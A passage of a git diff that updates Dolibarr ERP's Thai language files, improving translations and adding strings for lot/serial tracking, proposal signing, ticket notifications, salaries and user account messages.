a/htdocs/langs/th_TH/productbatch.lang +++ b/htdocs/langs/th_TH/productbatch.lang @@ -1,45 +1,47 @@ # ProductBATCH language file - Source file is en_US - ProductBATCH -ManageLotSerial=การใช้งานจำนวนมาก / หมายเลขซีเรีย -ProductStatusOnBatch=Yes (lot required) -ProductStatusOnSerial=Yes (unique serial number required) -ProductStatusNotOnBatch=ไม่ (มาก / อนุกรมไม่ได้ใช้) -ProductStatusOnBatchShort=Lot -ProductStatusOnSerialShort=Serial +ManageLotSerial=การใช้งานล๊อต / หมายเลข Serial +ProductStatusOnBatch=ใช่ (ล็อต จำเป็น) +ProductStatusOnSerial=ใช่ (หมายเลขซีเรียล เฉพาะตัว จำเป็น) +ProductStatusNotOnBatch=ไม่ (ล๊อต / Serial ไม่ได้ใช้) +ProductStatusOnBatchShort=ล็อต +ProductStatusOnSerialShort=ซีเรียล ProductStatusNotOnBatchShort=ไม่ -Batch=ล็อต/ลำดับ -atleast1batchfield=กินตามวันที่หรือขายโดยวันที่หรือ Lot / หมายเลข Serial -batch_number=Lot / หมายเลข Serial -BatchNumberShort=จัดสรร / อนุกรม +Batch=ล็อต/Serial +atleast1batchfield=กินตามวันที่หรือขายโดยวันที่หรือ ล๊อต / หมายเลข Serial +batch_number=ล๊อต / หมายเลข Serial +BatchNumberShort=ล๊อต / Serial EatByDate=กินตามวันที่ SellByDate=ขายตามวันที่ -DetailBatchNumber=จัดสรร / รายละเอียดอนุกรม -printBatch=จัดสรร / อนุกรม:% s -printEatby=กินโดย:% s -printSellby=ขายโดย:% s -printQty=จำนวน:% d +DetailBatchNumber=ล็อต / รายละเอียด Serial +printBatch=ล็อต/Serial: %s +printEatby=Eat-โดย: %s +printSellby=ขาย-โดย: %s +printQty=จำนวน: %d +printPlannedWarehouse=ที่เก็บสินค้า: %s AddDispatchBatchLine=เพิ่มบรรทัดสำหรับอายุการเก็บรักษาการฝึกอบรม -WhenProductBatchModuleOnOptionAreForced=When module Lot/Serial is on, automatic stock decrease is forced to 'Decrease real stocks on shipping validation' and automatic increase mode is forced to 'Increase real stocks on manual dispatching into warehouses' and can't be edited. Other options can be defined as you want. -ProductDoesNotUseBatchSerial=ผลิตภัณฑ์นี้ไม่ได้ใช้มาก / หมายเลขซีเรีย -ProductLotSetup=Setup of module lot/serial -ShowCurrentStockOfLot=Show current stock for couple product/lot -ShowLogOfMovementIfLot=Show log of movements for couple product/lot -StockDetailPerBatch=Stock detail per lot -SerialNumberAlreadyInUse=Serial number %s is already used for product %s -TooManyQtyForSerialNumber=You can only have one product %s for serial number %s -ManageLotMask=Custom mask -CustomMasks=Option to define a different numbering mask for each product -BatchLotNumberingModules=Numbering rule for automatic generation of lot number -BatchSerialNumberingModules=Numbering rule for automatic generation of serial number (for products with property 1 unique lot/serial for each product) -QtyToAddAfterBarcodeScan=Qty to %s for each barcode/lot/serial scanned -LifeTime=Life span (in days) -EndOfLife=End of life -ManufacturingDate=Manufacturing date -DestructionDate=Destruction date -FirstUseDate=First use date -QCFrequency=Quality control frequency (in days) -ShowAllLots=Show all lots -HideLots=Hide lots +WhenProductBatchModuleOnOptionAreForced=เมื่อเปิดโมดูล ล๊อต/ซีเรียล การลดสต็อกอัตโนมัติจะถูกบังคับให้ 'ลดสต็อกจริงในการตรวจสอบการจัดส่ง' และโหมดเพิ่มอัตโนมัติจะถูกบังคับให้ 'เพิ่มสต็อกจริงในการจัดส่งด้วยตนเองไปยังคลังสินค้า' และไม่สามารถแก้ไขได้ ตัวเลือกอื่น ๆ สามารถกำหนดได้ตามที่คุณต้องการ +ProductDoesNotUseBatchSerial=ผลิตภัณฑ์นี้ไม่ได้ใช้ล๊อต / หมายเลข Serial +ProductLotSetup=การตั้งค่าโมดูล ล็อต/ซีเรียล +ShowCurrentStockOfLot=แสดงสต็อกปัจจุบันสำหรับสินค้าคู่/ล็อต +ShowLogOfMovementIfLot=แสดงบันทึกความเคลื่อนไหวของคู่สินค้า/ล็อต +StockDetailPerBatch=รายละเอียดสต็อกต่อล็อต +SerialNumberAlreadyInUse=หมายเลขซีเรียล %s นี้ใช้ไปแล้วสำหรับสินค้า %s +TooManyQtyForSerialNumber=คุณสามารถมีสินค้าชิ้นเดียว %s ต่อหมายเลขซีเรียล %s +ManageLotMask=mask ที่กำหนดเอง +CustomMasks=ตัวเลือกในการกำหนดมาสก์หมายเลขที่แตกต่างกันสำหรับแต่ละสินค้า +BatchLotNumberingModules=กฎการกำหนดหมายเลขสำหรับการสร้างหมายเลขล็อตโดยอัตโนมัติ +BatchSerialNumberingModules=กฎการกำหนดหมายเลขสำหรับการสร้างหมายเลขซีเรียลโดยอัตโนมัติ (สำหรับผลิตภัณฑ์ที่มีคุณสมบัติ 1 ล็อต/ซีเรียลที่ไม่ซ้ำกันสำหรับแต่ละผลิตภัณฑ์) +QtyToAddAfterBarcodeScan=จำนวน %s สำหรับการสแกนบาร์โค้ด/ล็อต/ซีเรียลแต่ละครั้ง +LifeTime=อายุขัย (เป็นวัน) +EndOfLife=วันหมดอายุ +ManufacturingDate=วันผลิต +DestructionDate=วันที่ทำลาย +FirstUseDate=วันที่ใช้งานครั้งแรก +QCFrequency=ความถี่ในการควบคุมคุณภาพ (เป็นวัน) +ShowAllLots=แสดงล็อตทั้งหมด +HideLots=ซ่อนล็อต #Traceability - qc status OutOfOrder=Out of order InWorkingOrder=In working order -ToReplace=Replace +ToReplace=แทนที่ +CantMoveNonExistantSerial=ข้อผิดพลาด. คุณขอให้ย้ายระเบียนสำหรับซีเรียลที่ไม่มีอยู่อีกต่อไป คุณอาจใช้ซีเรียลเดียวกันในคลังสินค้าเดียวกันหลายครั้งในการจัดส่งเดียวกัน หรือใช้โดยการจัดส่งอื่น นำการจัดส่งนี้ออกและเตรียมการจัดส่งอีกครั้ง diff --git a/htdocs/langs/th_TH/propal.lang b/htdocs/langs/th_TH/propal.lang index f76b1196379..5d7a4a51d0a 100644 --- a/htdocs/langs/th_TH/propal.lang +++ b/htdocs/langs/th_TH/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=ไม่มีร่างข้อเสนอ CopyPropalFrom=สร้างข้อเสนอในเชิงพาณิชย์โดยการคัดลอกข้อเสนอที่มีอยู่ CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=ระยะเวลาเริ่มต้นความถูกต้องข้อเสนอในเชิงพาณิชย์ (ในวัน) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? @@ -64,36 +65,54 @@ AvailabilityPeriod=ความล่าช้าที่ว่าง SetAvailability=ความล่าช้าในการตั้งค่าความพร้อม AfterOrder=หลังจากที่สั่งซื้อ OtherProposals=ข้อเสนออื่น ๆ + ##### Availability ##### AvailabilityTypeAV_NOW=ทันทีทันใด AvailabilityTypeAV_1W=1 สัปดาห์ AvailabilityTypeAV_2W=2 สัปดาห์ที่ผ่านมา AvailabilityTypeAV_3W=3 สัปดาห์ที่ผ่านมา AvailabilityTypeAV_1M=1 เดือน -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=แทนข้อเสนอดังต่อไปนี้ขึ้น TypeContact_propal_external_BILLING=ติดต่อใบแจ้งหนี้ของลูกค้า TypeContact_propal_external_CUSTOMER=การติดต่อกับลูกค้าข้อเสนอดังต่อไปนี้ขึ้น TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=แม่แบบเริ่มต้นเมื่อปิดข้อเสนอทางธุรกิจ (ยังไม่เรียกเก็บ) DefaultModelPropalCreate=เริ่มต้นการสร้างแบบจำลอง DefaultModelPropalToBill=แม่แบบเริ่มต้นเมื่อปิดข้อเสนอทางธุรกิจ (ที่จะออกใบแจ้งหนี้) -DefaultModelPropalClosed=แม่แบบเริ่มต้นเมื่อปิดข้อเสนอทางธุรกิจ (ยังไม่เรียกเก็บ) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=ปฏิเสธ +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=ยอมรับเขียนประทับ บริษัท วันและลายเซ็น ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/th_TH/receiptprinter.lang b/htdocs/langs/th_TH/receiptprinter.lang index eac9b998b14..0dd15850322 100644 --- a/htdocs/langs/th_TH/receiptprinter.lang +++ b/htdocs/langs/th_TH/receiptprinter.lang @@ -7,7 +7,7 @@ TestSentToPrinter=Test Sent To Printer %s ReceiptPrinter=Receipt printers ReceiptPrinterDesc=Setup of receipt printers ReceiptPrinterTemplateDesc=Setup of Templates -ReceiptPrinterTypeDesc=Description of Receipt Printer's type +ReceiptPrinterTypeDesc=Example of possible values for the field "Parameters" according to the type of driver ReceiptPrinterProfileDesc=Description of Receipt Printer's Profile ListPrinters=List of Printers SetupReceiptTemplate=Template Setup @@ -54,7 +54,9 @@ DOL_DOUBLE_WIDTH=Double width size DOL_DEFAULT_HEIGHT_WIDTH=Default height and width size DOL_UNDERLINE=Enable underline DOL_UNDERLINE_DISABLED=Disable underline -DOL_BEEP=Beed sound +DOL_BEEP=Beep sound +DOL_BEEP_ALTERNATIVE=Beep sound (alternative mode) +DOL_PRINT_CURR_DATE=Print current date/time DOL_PRINT_TEXT=Print text DateInvoiceWithTime=Invoice date and time YearInvoice=Invoice year diff --git a/htdocs/langs/th_TH/recruitment.lang b/htdocs/langs/th_TH/recruitment.lang index ce6312bb2e5..da83a9fef3d 100644 --- a/htdocs/langs/th_TH/recruitment.lang +++ b/htdocs/langs/th_TH/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=เงินเดือน +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/th_TH/salaries.lang b/htdocs/langs/th_TH/salaries.lang index d5bcc71051a..b59429ce152 100644 --- a/htdocs/langs/th_TH/salaries.lang +++ b/htdocs/langs/th_TH/salaries.lang @@ -1,26 +1,27 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Accounting account used for user third parties -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated accounting account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. -SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Accounting account by default for wage payments -CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=By default, leave empty the option "Automatically create a total payment" when creating a Salary +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=บัญชี (จากผังบัญชี) ใช้เป็นค่าเริ่มต้นสำหรับบุคคลที่สาม "ผู้ใช้" +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=บัญชีเฉพาะที่กำหนดไว้ในบัตรผู้ใช้จะใช้สำหรับบัญชีแยกประเภทย่อยเท่านั้น ค่านี้จะใช้สำหรับบัญชีแยกประเภททั่วไปและเป็นค่าเริ่มต้นของการบัญชีแยกประเภทย่อย หากไม่ได้กำหนดบัญชีผู้ใช้เฉพาะสำหรับผู้ใช้ +SALARIES_ACCOUNTING_ACCOUNT_CHARGE=บัญชีโดยปริยายสำหรับการจ่ายค่าจ้าง +CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=ตามค่าเริ่มต้น ให้เว้นว่างตัวเลือก "สร้างการชำระเงินทั้งหมดโดยอัตโนมัติ" เมื่อสร้างเงินเดือน Salary=เงินเดือน Salaries=เงินเดือน -NewSalary=New salary -AddSalary=Add salary -NewSalaryPayment=New salary card -AddSalaryPayment=Add salary payment +NewSalary=เงินเดือนใหม่ +AddSalary=เพิ่มเงินเดือน +NewSalaryPayment=บัตรเงินเดือนใหม่ +AddSalaryPayment=เพิ่มการจ่ายเงินเดือน SalaryPayment=การชำระเงินเงินเดือน SalariesPayments=การชำระเงินเงินเดือน -SalariesPaymentsOf=Salaries payments of %s +SalariesPaymentsOf=การจ่ายเงินเดือนของ %s ShowSalaryPayment=แสดงการชำระเงินเงินเดือน -THM=Average hourly rate -TJM=Average daily rate +THM=อัตราเฉลี่ยต่อชั่วโมง +TJM=อัตรารายวันเฉลี่ย CurrentSalary=เงินเดือนปัจจุบัน -THMDescription=This value may be used to calculate the cost of time consumed on a project entered by users if module project is used -TJMDescription=This value is currently for information only and is not used for any calculation -LastSalaries=Latest %s salaries -AllSalaries=All salaries -SalariesStatistics=Salary statistics -SalariesAndPayments=Salaries and payments -ConfirmDeleteSalaryPayment=Do you want to delete this salary payment ? -FillFieldFirst=Fill employee field first +THMDescription=ค่านี้อาจใช้เพื่อคำนวณต้นทุนของเวลาที่ใช้ในโปรเจ็กต์ที่ป้อนโดยผู้ใช้ หากใช้โปรเจ็กต์โมดูล +TJMDescription=ปัจจุบันค่านี้มีไว้เพื่อเป็นข้อมูลเท่านั้นและไม่ได้ใช้สำหรับการคำนวณใดๆ +LastSalaries=เงินเดือน %s ล่าสุด +AllSalaries=เงินเดือนทั้งหมด +SalariesStatistics=สถิติเงินเดือน +SalariesAndPayments=เงินเดือนและการจ่ายเงิน +ConfirmDeleteSalaryPayment=คุณต้องการลบการจ่ายเงินเดือนนี้หรือไม่ ? +FillFieldFirst=กรอกช่องพนักงานก่อน +UpdateAmountWithLastSalary=กำหนดจำนวนเงินด้วยเงินเดือนล่าสุด diff --git a/htdocs/langs/th_TH/ticket.lang b/htdocs/langs/th_TH/ticket.lang index fd3ed422d04..928f7c8b7f3 100644 --- a/htdocs/langs/th_TH/ticket.lang +++ b/htdocs/langs/th_TH/ticket.lang @@ -27,6 +27,7 @@ Permission56003=Delete tickets Permission56004=Manage tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -90,15 +91,17 @@ TicketPublicAccess=A public interface requiring no identification is available a TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=Module variable setup TicketParamMail=Email setup -TicketEmailNotificationFrom=Notification email from -TicketEmailNotificationFromHelp=Used into ticket message answer by example -TicketEmailNotificationTo=Notifications email to -TicketEmailNotificationToHelp=Send email notifications to this address. +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationTo=Notify ticket creation to this e-mail address +TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Text message sent after creating a ticket TicketNewEmailBodyHelp=The text specified here will be inserted into the email confirming the creation of a new ticket from the public interface. Information on the consultation of the ticket are automatically added. TicketParamPublicInterface=Public interface setup TicketsEmailMustExist=Require an existing email address to create a ticket TicketsEmailMustExistHelp=In the public interface, the email address should already be filled in the database to create a new ticket. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Public interface TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -136,6 +139,20 @@ TicketsPublicNotificationNewMessage=Send email(s) when a new message/comment is TicketsPublicNotificationNewMessageHelp=Send email(s) when a new message is added from public interface (to assigned user or the notifications email to (update) and/or the notifications email to) TicketPublicNotificationNewMessageDefaultEmail=Notifications email to (update) TicketPublicNotificationNewMessageDefaultEmailHelp=Send an email to this address for each new message notifications if the ticket doesn't have a user assigned to it or if the user doesn't have any known email. +TicketsAutoReadTicket=Automatically mark the ticket as read (when created from backoffice) +TicketsAutoReadTicketHelp=Automatically mark the ticket as read when created from backoffice. When ticket is create from the public interface, ticket remains with the status "Not Read". +TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): +TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. +TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): +TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. +TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket +TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. +TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. +TicketChooseProductCategory=Product category for ticket support +TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. + # # Index & list page # @@ -151,6 +168,8 @@ OrderByDateAsc=Sort by ascending date OrderByDateDesc=Sort by descending date ShowAsConversation=Show as conversation list MessageListViewType=Show as table list +ConfirmMassTicketClosingSendEmail=Automatically send emails when closing tickets +ConfirmMassTicketClosingSendEmailQuestion=Do you want to notify thirdparties when closing these tickets ? # # Ticket card @@ -176,8 +195,7 @@ TicketAssigned=Ticket is now assigned TicketChangeType=Change type TicketChangeCategory=Change analytic code TicketChangeSeverity=Change severity -TicketAddMessage=Add a message -AddMessage=Add a message +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket added TicketMessageSuccessfullyAdded=Message successfully added TicketMessagesList=Message list @@ -188,8 +206,8 @@ TicketSeverity=Severity ShowTicket=See ticket RelatedTickets=Related tickets TicketAddIntervention=การแทรกแซงสร้าง -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Confirm ticket closing ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -203,18 +221,17 @@ SendMessageByEmail=Send message by email TicketNewMessage=New message ErrorMailRecipientIsEmptyForSendTicketMessage=Recipient is empty. No email send TicketGoIntoContactTab=Please go into "Contacts" tab to select them -TicketMessageMailIntro=Introduction +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=This text is added only at the beginning of the email and will not be saved. -TicketMessageMailIntroLabelAdmin=Introduction to the message when sending email -TicketMessageMailIntroText=Hello,
      A new response was sent on a ticket that you contact. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the text of the response to a ticket. -TicketMessageMailSignature=ลายเซ็น -TicketMessageMailSignatureHelp=This text is added only at the end of the email and will not be saved. -TicketMessageMailSignatureText=

      Sincerely,

      --

      -TicketMessageMailSignatureLabelAdmin=Signature of response email -TicketMessageMailSignatureHelpAdmin=This text will be inserted after the response message. +TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      +TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Only this text will be saved in the message list on ticket card. TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -225,6 +242,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket assigned TicketAssignedEmailBody=You have been assigned the ticket #%s by %s MarkMessageAsPrivate=Mark message as private +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=This message will not display to external users TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Initial Message @@ -238,9 +256,16 @@ TicketChangeStatus=Change status TicketConfirmChangeStatus=Confirm the status change: %s ? TicketLogStatusChanged=Status changed: %s to %s TicketNotNotifyTiersAtCreate=Not notify company at create +NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket +TicketNotifyAllTiersAtClose=All related contacts +TicketNotNotifyTiersAtClose=No related contact Unread=Unread TicketNotCreatedFromPublicInterface=Not available. Ticket was not created from public interface. ErrorTicketRefRequired=Ticket reference name is required +TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. +TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. +TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. +TicketManyContractsLinked=Many contracts have been automatically linked to this ticket. Make sure to verify which should be chosen. # # Logs @@ -268,11 +293,12 @@ TicketNewEmailBody=This is an automatic email to confirm you have registered a n TicketNewEmailBodyCustomer=This is an automatic email to confirm a new ticket has just been created into your account. TicketNewEmailBodyInfosTicket=Information for monitoring the ticket TicketNewEmailBodyInfosTrackId=Ticket tracking number: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the link above. +TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket in the specific interface by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. TicketPublicInfoCreateTicket=This form allows you to record a support ticket in our management system. -TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe the problem. Provide the most information possible to allow us to correctly identify your request. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Please enter ticket tracking ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID @@ -291,6 +317,10 @@ NewUser=ผู้ใช้ใหม่ NumberOfTicketsByMonth=Number of tickets per month NbOfTickets=Number of tickets # notifications +TicketCloseEmailSubjectCustomer=Ticket closed +TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. +TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) +TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: TicketNotificationEmailSubject=Ticket %s updated TicketNotificationEmailBody=This is an automatic message to notify you that ticket %s has just been updated TicketNotificationRecipient=Notification recipient diff --git a/htdocs/langs/th_TH/users.lang b/htdocs/langs/th_TH/users.lang index a58390f19d8..a04f56ed733 100644 --- a/htdocs/langs/th_TH/users.lang +++ b/htdocs/langs/th_TH/users.lang @@ -8,7 +8,7 @@ EditPassword=แก้ไขรหัสผ่าน SendNewPassword=สร้างรหัสผ่านใหม่และส่งรหัสผ่าน SendNewPasswordLink=Send link to reset password ReinitPassword=สร้างรหัสผ่านใหม่ -PasswordChangedTo=เปลี่ยนรหัสผ่านในการ:% s +PasswordChangedTo=เปลี่ยนรหัสผ่านเป็น: %s SubjectNewPassword=รหัสผ่านใหม่ของคุณ %s GroupRights=สิทธิ์ของกลุ่ม UserRights=สิทธิ์ของผู้ใช้ @@ -44,10 +44,10 @@ ListOfGroups=รายชื่อของกลุ่ม NewGroup=กลุ่มใหม่ CreateGroup=สร้างกลุ่ม RemoveFromGroup=ลบออกจากกลุ่ม -PasswordChangedAndSentTo=เปลี่ยนรหัสผ่านและส่งไปยัง% s +PasswordChangedAndSentTo=เปลี่ยนรหัสผ่านแล้วส่งมาที่ %s. PasswordChangeRequest=Request to change password for %s -PasswordChangeRequestSent=ขอเปลี่ยนรหัสผ่านสำหรับ% s ส่งไปยัง% s -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +PasswordChangeRequestSent=ขอเปลี่ยนรหัสผ่านสำหรับ %s ส่งไปยัง %s. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=ผู้ใช้และกลุ่ม @@ -66,12 +66,12 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=สร้างผู้ใช้ CreateDolibarrThirdParty=สร้างของบุคคลที่สาม -LoginAccountDisableInDolibarr=บัญชีปิดใช้งานใน Dolibarr +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=ใช้ค่าส่วนบุคคล -InternalUser=ผู้ใช้งานภายใน ExportDataset_user_1=Users and their properties -DomainUser=โดเมนของผู้ใช้% s -Reactivate=ฟื้นฟู +DomainUser=ผู้ใช้โดเมน %s +Reactivate=เปิดใช้งานอีกครั้ง CreateInternalUserDesc=This form allows you to create an internal user in your company/organization. To create an external user (customer, vendor etc. ..), use the button 'Create Dolibarr User' from that third-party's contact card. InternalExternalDesc=An internal user is a user that is part of your company/organization, or is a partner user outside of your organization that may need to see more data than data related to his company (the permission system will define what he can or can't see or do).
      An external user is a customer, vendor or other that must view ONLY data related to himself (Creating an external user for a third-party can be done from the contact record of the third-party).

      In both cases, you must grant permissions on the features that the user need. PermissionInheritedFromAGroup=ได้รับอนุญาตเพราะรับมาจากหนึ่งในกลุ่มของผู้ใช้ @@ -80,16 +80,16 @@ UserWillBe=Created user will be UserWillBeInternalUser=ผู้ใช้ที่สร้างจะเป็นผู้ใช้งานภายใน (เพราะไม่เชื่อมโยงกับบุคคลที่สามโดยเฉพาะ) UserWillBeExternalUser=ผู้ใช้ที่สร้างจะเป็นผู้ใช้ภายนอก (เพราะเชื่อมโยงกับบุคคลที่สามโดยเฉพาะ) IdPhoneCaller=id โทรโทรศัพท์ -NewUserCreated=% s ผู้ใช้สร้างขึ้น -NewUserPassword=เปลี่ยนรหัสผ่านสำหรับ% s +NewUserCreated=ผู้ใช้ %s สร้างแล้ว +NewUserPassword=เปลี่ยนรหัสผ่านสำหรับ %s NewPasswordValidated=Your new password have been validated and must be used now to login. -EventUserModified=% s ผู้ใช้ปรับเปลี่ยน -UserDisabled=ผู้ใช้% s พิการ -UserEnabled=% s ผู้ใช้เปิดใช้งาน -UserDeleted=ผู้ใช้% s ลบออก -NewGroupCreated=s% กลุ่มที่สร้างขึ้น -GroupModified=กลุ่ม% s การแก้ไข -GroupDeleted=กลุ่ม% s ลบออก +EventUserModified=ผู้ใช้ %s แก้ไขแล้ว +UserDisabled=ผู้ใช้ %s ปิดการใช้งาน +UserEnabled=ผู้ใช้ %s เปิดใช้งาน +UserDeleted=ผู้ใช้ %s ลบออกแล้ว +NewGroupCreated=กลุ่ม %s สร้างแล้ว +GroupModified=กลุ่ม %s แก้ไขแล้ว +GroupDeleted=กลุ่ม %s ลบออกแล้ว ConfirmCreateContact=Are you sure you want to create a Dolibarr account for this contact? ConfirmCreateLogin=Are you sure you want to create a Dolibarr account for this member? ConfirmCreateThirdParty=Are you sure you want to create a third party for this member? @@ -114,7 +114,7 @@ UserLogoff=User logout UserLogged=User 